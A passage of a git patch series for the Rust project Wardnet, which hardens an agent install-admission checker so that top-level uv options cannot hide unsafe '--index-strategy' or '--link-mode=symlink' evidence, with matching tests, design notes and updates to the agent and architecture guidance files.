b/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs @@ -1,15 +1,18 @@ use crate::InstallIntent; +use crate::policy::uv_active_command_index; const UV_INDEX_STRATEGY: &str = "--index-strategy"; const FIRST_INDEX: &str = "first-index"; const UNSAFE_FIRST_MATCH: &str = "unsafe-first-match"; const UNSAFE_BEST_MATCH: &str = "unsafe-best-match"; -/// Return whether a supported `uv pip install` asks uv to search across index -/// trust boundaries instead of retaining uv's dependency-confusion-safe -/// `first-index` selection rule. +/// Return whether submitted `uv pip install` argv asks uv to search across +/// index trust boundaries instead of retaining uv's dependency-confusion-safe +/// `first-index` selection rule. Reviewed top-level uv options remain visible +/// to causal evidence attribution even though they do not widen the supported +/// install-command grammar. pub(crate) fn requests_unsafe_uv_index_strategy(intent: &InstallIntent) -> bool { - let Some(arguments) = supported_uv_pip_install_arguments(intent) else { + let Some(arguments) = uv_pip_install_arguments_for_evidence(intent) else { return false; }; @@ -37,6 +40,8 @@ pub(crate) fn requests_unsafe_uv_index_strategy(intent: &InstallIntent) -> bool /// Normalize only documented separate-value `uv pip install --index-strategy` /// grammar so the strategy token is not mistaken for a package operand. The /// selector itself remains in argv for ordinary command-policy validation. +/// This deliberately stays narrower than evidence attribution: top-level uv +/// options are still unsupported install grammar and must remain forbidden. pub(crate) fn normalize_reviewed_uv_index_strategy_value( intent: &InstallIntent, ) -> Option { @@ -71,6 +76,22 @@ pub(crate) fn normalize_reviewed_uv_index_strategy_value( Some(normalized) } +fn uv_pip_install_arguments_for_evidence(intent: &InstallIntent) -> Option<&[String]> { + if intent.argv.first().map(String::as_str) != Some("uv") { + return None; + } + + let arguments = &intent.argv[1..]; + let command_index = uv_active_command_index(arguments)?; + if arguments.get(command_index).map(String::as_str) != Some("pip") + || arguments.get(command_index + 1).map(String::as_str) != Some("install") + { + return None; + } + + Some(&arguments[command_index + 2..]) +} + fn supported_uv_pip_install_arguments(intent: &InstallIntent) -> Option<&[String]> { if intent.argv.first().map(String::as_str) != Some("uv") || intent.argv.get(1).map(String::as_str) != Some("pip") @@ -101,7 +122,7 @@ mod tests { } #[test] - fn matcher_is_exact_and_bounded_to_supported_uv_pip_install() { + fn matcher_is_exact_and_bounded_to_uv_pip_install_evidence() { for argv in [ vec![ "uv", @@ -118,6 +139,15 @@ mod tests { "--index-strategy", "unsafe-first-match", ], + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "pkg", + "--index-strategy=unsafe-best-match", + ], ] { assert!(requests_unsafe_uv_index_strategy(&intent(&argv))); } @@ -138,6 +168,15 @@ mod tests { "--index-strateg=unsafe-best-match", ], vec!["uv", "run", "python", "--index-strategy=unsafe-best-match"], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "pkg", + "--index-strategy=unsafe-best-match", + ], vec![ "uv", "pip", @@ -186,6 +225,16 @@ mod tests { "--index-strategy", "first-index", ], + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "pkg", + "--index-strategy", + "first-index", + ], ] { assert!(normalize_reviewed_uv_index_strategy_value(&intent(&argv)).is_none()); } From 3b0e82e7d0c812ab8fb192e9cdc600cbff753752 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 16:09:07 +0900 Subject: [PATCH 647/702] docs(agent-admission): trace uv global option evidence boundary --- docs/doctoring/uv-index-strategy-authority.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/docs/doctoring/uv-index-strategy-authority.md b/docs/doctoring/uv-index-strategy-authority.md index 42e3d7b6..d7f08f40 100644 --- a/docs/doctoring/uv-index-strategy-authority.md +++ b/docs/doctoring/uv-index-strategy-authority.md @@ -4,6 +4,8 @@ Wardnet treats caller-selected uv index search strategy as Agent Artifact Admiss Astral documents `first-index` as the default strategy and states that stopping at the first index containing a package name is intended to prevent dependency-confusion attacks. Astral describes `unsafe-first-match` as searching for compatible versions across all indexes and `unsafe-best-match` as searching all indexes for the best version; the compatibility guide explicitly warns that `unsafe-best-match` exposes users to dependency-confusion risk. +Astral's CLI grammar also permits top-level uv options before the active command. Wardnet therefore reuses the shared top-level uv command parser when attributing unsafe index-strategy evidence, so a submitted command such as `uv --color never pip install ... --index-strategy=unsafe-best-match` cannot lose its causal `AlternateTrustRoot` reason. This evidence-only parsing does not make that argv admissible: Wardnet's supported install grammar remains the narrower direct `uv pip install`, so the same global-option form remains `ForbiddenCommand` as well. + Wardnet only evaluates structured argv submitted in the install intent. It does not read `uv.toml`, `pyproject.toml`, environment variables, certificate stores, DNS, TLS state, registry contents, or package indexes. Effective runtime configuration and isolation remain owned by `quarantine-sandbox-runtime`; executable egress authorization remains owned by EgressWeave; package/static analysis remains owned by AppGuardrail. ## Acceptance boundary @@ -11,6 +13,7 @@ Wardnet only evaluates structured argv submitted in the install intent. It does - `uv pip install ...` with no explicit index strategy remains admissible when every other admission requirement is satisfied. - `--index-strategy=first-index` and `--index-strategy first-index` remain admissible. - `--index-strategy=unsafe-first-match`, `--index-strategy unsafe-first-match`, `--index-strategy=unsafe-best-match`, and `--index-strategy unsafe-best-match` are blocked with explicit `AlternateTrustRoot` evidence. +- Reviewed top-level uv options before `pip install` cannot hide unsafe index-strategy evidence; those argv remain generically forbidden rather than widening the install grammar. - Near-spellings do not acquire uv semantics. - Delegated child argv under unsupported `uv run` flows is not reinterpreted as `uv pip install` authority. - The repair does not widen Wardnet's supported install grammar beyond direct `uv pip install`. From e83ef2cb6e55d29b85568a99602413bf0670d166 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 17:32:28 +0900 Subject: [PATCH 648/702] test(security): expose uv global link-mode evidence gap --- ...uv_symlink_link_mode_authority_contract.rs | 76 +++++++++++++++++++ 1 file changed, 76 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs index 32f34721..68243e86 100644 --- a/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs @@ -31,6 +31,82 @@ fn uv_separate_symlink_link_mode_cannot_inherit_artifact_approval() { assert_symlink_link_mode_is_blocked(&policy, &intent); } +#[test] +fn uv_global_options_preserve_pip_install_symlink_link_mode_authority_evidence() { + for link_mode in [ + vec!["--link-mode=symlink"], + vec!["--link-mode", "symlink"], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv.splice( + 1..1, + ["--color".to_string(), "never".to_string()], + ); + intent + .argv + .extend(link_mode.into_iter().map(str::to_string)); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + "top-level uv options remain outside the supported install grammar: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "caller-selected symlink materialization must remain explicit causal evidence through reviewed uv global options: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn uv_global_link_mode_lookalike_and_non_install_do_not_fabricate_symlink_authority() { + let (policy, mut lookalike) = approved_uv_install(); + lookalike.argv.splice( + 1..1, + ["--color".to_string(), "never".to_string()], + ); + lookalike.argv.push("--link-modex=symlink".to_string()); + + let decision = admission_decision(&policy, &lookalike); + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "near spelling must not inherit uv link-mode semantics: {:?}", + decision.reason_codes + ); + + let (policy, mut non_install) = approved_uv_install(); + non_install.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "sync".to_string(), + "requirements.txt".to_string(), + "--link-mode=symlink".to_string(), + ]; + + let decision = admission_decision(&policy, &non_install); + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "non-install uv grammar must not fabricate link-mode artifact authority: {:?}", + decision.reason_codes + ); +} + fn assert_symlink_link_mode_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { let decision = admission_decision(policy, intent); From 35c97a6324ced20237643f84813bc65621b338b6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 17:33:47 +0900 Subject: [PATCH 649/702] style(test): apply rustfmt to uv global link-mode RED --- ...uv_symlink_link_mode_authority_contract.rs | 35 +++++++++++-------- 1 file changed, 20 insertions(+), 15 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs index 68243e86..d2411a87 100644 --- a/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs @@ -33,15 +33,11 @@ fn uv_separate_symlink_link_mode_cannot_inherit_artifact_approval() { #[test] fn uv_global_options_preserve_pip_install_symlink_link_mode_authority_evidence() { - for link_mode in [ - vec!["--link-mode=symlink"], - vec!["--link-mode", "symlink"], - ] { + for link_mode in [vec!["--link-mode=symlink"], vec!["--link-mode", "symlink"]] { let (policy, mut intent) = approved_uv_install(); - intent.argv.splice( - 1..1, - ["--color".to_string(), "never".to_string()], - ); + intent + .argv + .splice(1..1, ["--color".to_string(), "never".to_string()]); intent .argv .extend(link_mode.into_iter().map(str::to_string)); @@ -50,7 +46,9 @@ fn uv_global_options_preserve_pip_install_symlink_link_mode_authority_evidence() assert_eq!(decision.decision, DecisionKind::Block); assert!( - decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), "top-level uv options remain outside the supported install grammar: {:?}", decision.reason_codes ); @@ -67,15 +65,18 @@ fn uv_global_options_preserve_pip_install_symlink_link_mode_authority_evidence() #[test] fn uv_global_link_mode_lookalike_and_non_install_do_not_fabricate_symlink_authority() { let (policy, mut lookalike) = approved_uv_install(); - lookalike.argv.splice( - 1..1, - ["--color".to_string(), "never".to_string()], - ); + lookalike + .argv + .splice(1..1, ["--color".to_string(), "never".to_string()]); lookalike.argv.push("--link-modex=symlink".to_string()); let decision = admission_decision(&policy, &lookalike); assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); assert!( !decision .reason_codes @@ -97,7 +98,11 @@ fn uv_global_link_mode_lookalike_and_non_install_do_not_fabricate_symlink_author let decision = admission_decision(&policy, &non_install); assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); assert!( !decision .reason_codes From 01d0a524da802720135a0be8ba6d62e88022e7ea Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 17:36:24 +0900 Subject: [PATCH 650/702] test(security): remove confounded uv sync control --- ...uv_symlink_link_mode_authority_contract.rs | 28 +------------------ 1 file changed, 1 insertion(+), 27 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs index d2411a87..739d0103 100644 --- a/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs @@ -63,7 +63,7 @@ fn uv_global_options_preserve_pip_install_symlink_link_mode_authority_evidence() } #[test] -fn uv_global_link_mode_lookalike_and_non_install_do_not_fabricate_symlink_authority() { +fn uv_global_link_mode_lookalike_does_not_fabricate_symlink_authority() { let (policy, mut lookalike) = approved_uv_install(); lookalike .argv @@ -84,32 +84,6 @@ fn uv_global_link_mode_lookalike_and_non_install_do_not_fabricate_symlink_author "near spelling must not inherit uv link-mode semantics: {:?}", decision.reason_codes ); - - let (policy, mut non_install) = approved_uv_install(); - non_install.argv = vec![ - "uv".to_string(), - "--color".to_string(), - "never".to_string(), - "pip".to_string(), - "sync".to_string(), - "requirements.txt".to_string(), - "--link-mode=symlink".to_string(), - ]; - - let decision = admission_decision(&policy, &non_install); - assert_eq!(decision.decision, DecisionKind::Block); - assert!( - decision - .reason_codes - .contains(&ReasonCode::ForbiddenCommand) - ); - assert!( - !decision - .reason_codes - .contains(&ReasonCode::ArtifactNotApproved), - "non-install uv grammar must not fabricate link-mode artifact authority: {:?}", - decision.reason_codes - ); } fn assert_symlink_link_mode_is_blocked(policy: &AdmissionPolicy, intent: &InstallIntent) { From eb0846b42303779e91a5db4b1bcd7d1528c146d1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 17:38:43 +0900 Subject: [PATCH 651/702] fix(security): preserve uv global link-mode evidence --- .../src/uv_link_mode_authority.rs | 110 ++++++++++++------ 1 file changed, 75 insertions(+), 35 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_link_mode_authority.rs b/crates/agent-artifact-admission/src/uv_link_mode_authority.rs index eedac183..7a7d8118 100644 --- a/crates/agent-artifact-admission/src/uv_link_mode_authority.rs +++ b/crates/agent-artifact-admission/src/uv_link_mode_authority.rs @@ -1,7 +1,10 @@ use crate::InstallIntent; +use crate::policy::uv_active_command_index; -/// Return whether an approved uv install explicitly selects symlink -/// materialization from uv's shared cache. +/// Return whether submitted `uv pip install` argv explicitly selects symlink +/// materialization from uv's shared cache. Reviewed top-level uv options remain +/// visible to causal evidence attribution even though they do not widen the +/// supported install-command grammar. pub(crate) fn requests_unapproved_uv_symlink_link_mode(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; @@ -11,15 +14,16 @@ pub(crate) fn requests_unapproved_uv_symlink_link_mode(intent: &InstallIntent) - } let arguments = &intent.argv[1..]; - if !arguments.first().is_some_and(|argument| argument == "pip") - || !arguments - .get(1) - .is_some_and(|argument| argument == "install") + let Some(command_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments.get(command_index).map(String::as_str) != Some("pip") + || arguments.get(command_index + 1).map(String::as_str) != Some("install") { return false; } - let install_arguments = &arguments[2..]; + let install_arguments = &arguments[command_index + 2..]; install_arguments .iter() .enumerate() @@ -66,33 +70,69 @@ mod tests { #[test] fn uv_symlink_matcher_accepts_only_explicit_symlink_materialization() { - assert!(requests_unapproved_uv_symlink_link_mode(&intent(&[ - "uv", - "pip", - "install", - "cwl-example==1.2.3", - "--link-mode=symlink", - ]))); - assert!(requests_unapproved_uv_symlink_link_mode(&intent(&[ - "uv", - "pip", - "install", - "cwl-example==1.2.3", - "--link-mode", - "symlink", - ]))); - assert!(!requests_unapproved_uv_symlink_link_mode(&intent(&[ - "uv", - "pip", - "install", - "cwl-example==1.2.3", - "--link-mode=copy", - ]))); - assert!(!requests_unapproved_uv_symlink_link_mode(&intent(&[ - "pip", - "install", - "cwl-example==1.2.3", - "--link-mode=symlink", - ]))); + for argv in [ + vec![ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode=symlink", + ], + vec![ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode", + "symlink", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode=symlink", + ], + ] { + assert!(requests_unapproved_uv_symlink_link_mode(&intent(&argv))); + } + + for argv in [ + vec![ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode=copy", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "requirements.txt", + "--link-mode=symlink", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--link-modex=symlink", + ], + vec![ + "pip", + "install", + "cwl-example==1.2.3", + "--link-mode=symlink", + ], + ] { + assert!(!requests_unapproved_uv_symlink_link_mode(&intent(&argv))); + } } } From 25b076cb25229d0144f06f31bc497e086e443cc3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 17:39:08 +0900 Subject: [PATCH 652/702] docs(security): trace uv symlink link-mode authority --- .../uv-symlink-link-mode-authority.md | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 docs/doctoring/uv-symlink-link-mode-authority.md diff --git a/docs/doctoring/uv-symlink-link-mode-authority.md b/docs/doctoring/uv-symlink-link-mode-authority.md new file mode 100644 index 00000000..cb4edfb9 --- /dev/null +++ b/docs/doctoring/uv-symlink-link-mode-authority.md @@ -0,0 +1,33 @@ +# uv symlink link-mode authority + +Verified 2026-09-13. This note records the vendor semantics and local security decision behind Wardnet's Agent Artifact Admission handling of `uv pip install --link-mode=symlink`. It does not claim control of uv's cache, target filesystem, or execution sandbox; those remain executor/quarantine concerns outside Wardnet's admission-evidence boundary. + +## Security decision + +Astral documents `uv pip install [OPTIONS] ...` and the `--link-mode` option for choosing how installed package files are materialized from uv's global cache. The documented `symlink` mode symbolically links installed packages to cache content, and Astral warns that this tightly couples the target environment to the cache: clearing the cache can break installed packages. A reviewed package coordinate and digest therefore do not by themselves authorize a caller to change the materialization relationship between the approved artifact and the target environment. + +Wardnet classifies an explicit `--link-mode=symlink` or `--link-mode symlink` on the active `uv pip install` command as separate `ArtifactNotApproved` evidence. The classifier reuses the shared `uv_active_command_index` parser so documented top-level uv options before `pip` cannot erase that causal evidence. This does **not** widen Wardnet's supported install grammar: a submitted form such as `uv --color never pip install ... --link-mode=symlink` remains generically forbidden while also preserving the specific symlink-materialization reason. + +The classifier is deliberately command-bounded. `uv pip sync`, delegated child argv, and nearby option spellings do not inherit `uv pip install` link-mode authority. Wardnet does not execute uv, inspect or mutate uv's cache, create links, or decide filesystem isolation. The executor and quarantine runtime remain responsible for controlled execution and filesystem behavior after an intent is admitted. + +## Local evidence + +- `crates/agent-artifact-admission/src/uv_link_mode_authority.rs` parses the active uv command with `policy::uv_active_command_index`, requires exact `pip` followed by exact `install`, and then inspects only that install argument slice for the documented symlink forms. +- `crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs` covers attached and separate symlink forms, reviewed top-level uv options, and a nearby spelling control. +- Issue #401 and PR #402 retain the hostile RED→GREEN evidence for the parser-phase gap. The hosted RED on exact test-only head `01d0a524da802720135a0be8ba6d62e88022e7ea` reached the new contract and returned only `ForbiddenCommand`, demonstrating loss of the separate `ArtifactNotApproved` reason before the production repair. + +## Standards traceability + +NIST SP 800-218 SSDF 1.1 recommends integrating secure-development practices that reduce vulnerabilities and address their root causes. Wardnet applies that principle here by fixing the shared parser-phase cause rather than adding a one-off command string exception. This note does not assert NIST certification or full SSDF conformance. + +As of 2026-09-13, NIST lists SP 800-218 as the final SSDF Version 1.1 publication and SP 800-218 Rev. 1 / SSDF Version 1.2 as a draft. Wardnet therefore cites Version 1.1 as the final baseline and treats the draft separately. + +## APA 7 references + +Astral Software, Inc. (2026). *Commands: uv documentation.* https://docs.astral.sh/uv/reference/cli/ + +Astral Software, Inc. (2026). *Settings: uv documentation.* https://docs.astral.sh/uv/reference/settings/ + +Scarfone, K., Souppaya, M., & Dodson, D. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218 + +National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/projects/ssdf/publications From e0a6df1a6aa3f29f5d5cfb4d1ec6e1fb16e229ab Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 17:43:13 +0900 Subject: [PATCH 653/702] docs(security): correct uv authority APA 7 references --- docs/doctoring/uv-symlink-link-mode-authority.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/doctoring/uv-symlink-link-mode-authority.md b/docs/doctoring/uv-symlink-link-mode-authority.md index cb4edfb9..3043000e 100644 --- a/docs/doctoring/uv-symlink-link-mode-authority.md +++ b/docs/doctoring/uv-symlink-link-mode-authority.md @@ -24,10 +24,10 @@ As of 2026-09-13, NIST lists SP 800-218 as the final SSDF Version 1.1 publicatio ## APA 7 references -Astral Software, Inc. (2026). *Commands: uv documentation.* https://docs.astral.sh/uv/reference/cli/ +Astral Software, Inc. (n.d.). *Commands: uv documentation.* Retrieved September 13, 2026, from https://docs.astral.sh/uv/reference/cli/ -Astral Software, Inc. (2026). *Settings: uv documentation.* https://docs.astral.sh/uv/reference/settings/ +Astral Software, Inc. (n.d.). *Settings: uv documentation.* Retrieved September 13, 2026, from https://docs.astral.sh/uv/reference/settings/ -Scarfone, K., Souppaya, M., & Dodson, D. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218 +Souppaya, M., Scarfone, K., & Dodson, D. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218 -National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/projects/ssdf/publications +National Institute of Standards and Technology. (n.d.). *Secure Software Development Framework: Publications.* Retrieved September 13, 2026, from https://csrc.nist.gov/projects/ssdf/publications From ee6c1adc58234a17322592585ea0783d1e84cf66 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 18:01:50 +0900 Subject: [PATCH 654/702] test(docs): prove agent admission documentation drift --- .../agent_artifact_documentation_contract.rs | 45 +++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 tests/agent_artifact_documentation_contract.rs diff --git a/tests/agent_artifact_documentation_contract.rs b/tests/agent_artifact_documentation_contract.rs new file mode 100644 index 00000000..a36537ec --- /dev/null +++ b/tests/agent_artifact_documentation_contract.rs @@ -0,0 +1,45 @@ +use std::fs; + +fn read_repo_file(path: &str) -> String { + fs::read_to_string(path).unwrap_or_else(|error| panic!("failed to read {path}: {error}")) +} + +#[test] +fn agent_artifact_admission_stays_in_code_current_operator_and_architecture_docs() { + let architecture = read_repo_file("docs/architecture.md"); + assert!( + architecture.contains("Agent Artifact Admission"), + "architecture must name the Wardnet-owned Agent Artifact Admission bounded context" + ); + assert!( + architecture.contains("crates/agent-artifact-admission"), + "architecture must identify the shipped Agent Artifact Admission crate" + ); + for foreign_owner in [ + "quarantine-sandbox-runtime", + "EgressWeave", + "contextual-orchestrator", + "appguardrail", + ] { + assert!( + architecture.contains(foreign_owner), + "architecture must preserve the external-owner boundary for {foreign_owner}" + ); + } + + let claude = read_repo_file("CLAUDE.md"); + assert!( + claude.contains("crates/agent-artifact-admission"), + "operator/developer guidance must include the shipped Agent Artifact Admission workspace member" + ); + assert!( + !claude.contains("Root Cargo workspace with two members"), + "workspace guidance must not claim two members after Agent Artifact Admission is present" + ); + + let agents = read_repo_file("AGENTS.md"); + assert!( + agents.contains("Agent Artifact Admission"), + "canonical agent guidance must retain Wardnet's Agent Artifact Admission ownership boundary" + ); +} From 97300939870680c820f31d8fd4b9ba32ae1a67b3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 18:05:34 +0900 Subject: [PATCH 655/702] docs(agent-admission): state canonical ownership boundary --- AGENTS.md | 1 + 1 file changed, 1 insertion(+) diff --git a/AGENTS.md b/AGENTS.md index ae81252e..8fcda392 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,6 +1,7 @@ # Agent Instructions - Keep the project Rust-first for gateway, DNSBL, and high-throughput control-plane code. +- Preserve Wardnet ownership of Agent Artifact Admission, gateway/SOC control-plane policy, and security evidence. Treat `quarantine-sandbox-runtime`, `EgressWeave`, `contextual-orchestrator`, and `appguardrail` as external canonical owners whose released contracts/evidence Wardnet validates rather than reimplements. - Prefer proven security engines over fake in-house detections. Integrate OWASP CRS/Coraza, Suricata, STIX/TAXII, MISP, or OpenCTI before inventing equivalent engines. - Do not use Figma Code Connect for this project unless explicitly requested later. - Keep MVP work narrow: web management, gateway decisions, event/KPI visibility, and DNSBL publishing before broader SIEM/SOAR scope. From 99bdec0fe6ab965efaef7cab3a323d133ae39752 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 18:06:27 +0900 Subject: [PATCH 656/702] docs(agent-admission): align workspace guidance --- CLAUDE.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/CLAUDE.md b/CLAUDE.md index 742e3096..db146691 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -44,9 +44,10 @@ cargo +nightly fuzz run fuzz_score_request -- -max_total_time=60 ## Workspace Layout -Root Cargo workspace with two members (resolver 3): +Root Cargo workspace with three members (resolver 3): - `crates/waf-ids-core` — pure domain crate, no async/HTTP deps (only `serde` + `percent-encoding`): models, validation, upserts, request scoring, DNSBL zone formatting, event retention, threat-feed freshness, KPI snapshots, commercial readiness, buyer evidence manifests. +- `crates/agent-artifact-admission` — Wardnet-owned pre-execution admission boundary for immutable agent artifact/evidence facts, policy evaluation, and auditable allow/deny receipts. It validates released evidence/contracts from canonical sibling owners; it does not execute hostile workloads or reimplement sandbox, egress, orchestration, or guardrail policy engines. - Root crate `waf-ids-ai-soc` (`src/lib.rs`) — Axum management API, embedded admin console, optional JSON state persistence, upstream proxying, NDJSON event export, support bundle assembly, plus the in-crate HTTP tests. Depends on `waf-ids-core`. - `src/main.rs` — deliberately thin shim over `waf_ids_ai_soc::run_from_env` so all config/serve logic is unit-testable; covered end-to-end by `tests/binary.rs` (SIGTERM graceful shutdown). - `fuzz/` — a **separate** cargo workspace (empty `[workspace]` table in `fuzz/Cargo.toml` — do not remove) so root `cargo test --workspace` never builds fuzz targets. Seed corpora live in `fuzz/corpus//`. @@ -67,6 +68,7 @@ Read in `run_from_env` (`src/lib.rs`): `BIND_ADDR` (default `127.0.0.1:8080`), ` ## Key Conventions - Management writes require `X-Admin-Token` and are **upserts**: routes keyed by `id`, threat indicators by `indicator_type` + `value` + `source`, DNSBL entries by `address`. DNSBL response codes must be in `127.0.0.0/8`. +- Agent Artifact Admission owns Wardnet's artifact/evidence binding, admission policy decision, and Wardnet receipt. `quarantine-sandbox-runtime`, `EgressWeave`, `contextual-orchestrator`, and `appguardrail` remain external canonical owners; consume only released contracts/evidence and never copy their implementation logic into Wardnet. - State persistence uses write-to-temp-sibling + atomic rename; management API mutations roll back in memory if the state file cannot be replaced. - Audit logs must never leak admin tokens (`scripts/smoke.sh` asserts this). - Untrusted-input surfaces (request scorer, state deserializer, admin-token parser, DNSBL zone export) are fuzzed; if you change one, keep its libFuzzer target and proptest mirror in sync (`docs/fuzzing.md` lists the invariants per target). From 0f35f048ad594c3d8d8bba6847f87916ee2982ab Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 18:08:20 +0900 Subject: [PATCH 657/702] docs(agent-admission): make architecture code-current --- docs/architecture.md | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/docs/architecture.md b/docs/architecture.md index e1ee578b..7908089f 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -8,6 +8,8 @@ flowchart LR admin --> api["Management API"] api --> app["App Crate"] app --> core["waf-ids-core"] + api --> admission["Agent Artifact Admission"] + admission --> admissionCore["crates/agent-artifact-admission"] core --> state["Runtime State"] state --> file["Optional JSON State File"] client["HTTP Client"] --> gateway["Rust Gateway"] @@ -23,6 +25,10 @@ flowchart LR api --> feeds["Threat Feed Import"] feeds --> freshness["Feed Freshness"] commercial --> bundle["Support Bundle"] + sandbox["quarantine-sandbox-runtime\nexternal released evidence"] -.-> admission + egress["EgressWeave\nexternal released evidence"] -.-> admission + orchestrator["contextual-orchestrator\nexternal released API/evidence"] -.-> admission + guardrail["appguardrail\nexternal released evidence"] -.-> admission ``` ## Components @@ -30,6 +36,7 @@ flowchart LR - `src/main.rs`: process startup and operator configuration from `BIND_ADDR`, `ADMIN_TOKEN`, `WAF_IDS_STATE_PATH`, `DNSBL_ORIGIN`, and `EVENT_LIMIT`. - `src/lib.rs`: Axum app, routing, management APIs, optional JSON persistence, gateway handler, upstream proxying, admin console, support bundle assembly, NDJSON event export, and in-crate HTTP tests. - `crates/waf-ids-core`: reusable domain models plus validation, upsert, scoring, DNSBL zone export, event retention, threat-feed freshness, KPI snapshot, and commercial readiness logic. +- `crates/agent-artifact-admission`: Wardnet-owned Agent Artifact Admission domain/application boundary. It binds immutable artifact identity and evidence, evaluates Wardnet admission policy, and emits auditable Wardnet allow/deny receipts; it does not execute hostile workloads or copy sibling-owner sandbox, egress, orchestration, or guardrail logic. - `/admin`: embedded web console. - `/gateway/{path}`: route selection, request scoring, monitor/block decision, optional upstream proxying. - `/dnsbl/zone`: DNSBL zone text using the configured origin, suitable for publication through an authoritative DNS server. @@ -66,6 +73,19 @@ flowchart LR - Commercial readiness is a runtime evidence model for buyer pilots, not a legal revenue recognition or compliance certification system. - The reusable core remains in-repo as a workspace crate. A git submodule is intentionally deferred until an independently versioned engine, SDK, or adapter needs a separate release lifecycle. +### Agent Artifact Admission ownership boundary + +Wardnet owns Agent Artifact Admission policy semantics, immutable artifact/evidence binding, and the admission receipt consumed by its gateway/SOC control plane. Missing or malformed mandatory evidence fails closed according to Wardnet policy; availability of a foreign owner never converts absent evidence into success. + +The following systems remain external canonical owners. Wardnet may validate their released contracts or cryptographically bound evidence, but it must not copy their implementation logic, query their private persistence directly, or bind production behavior to 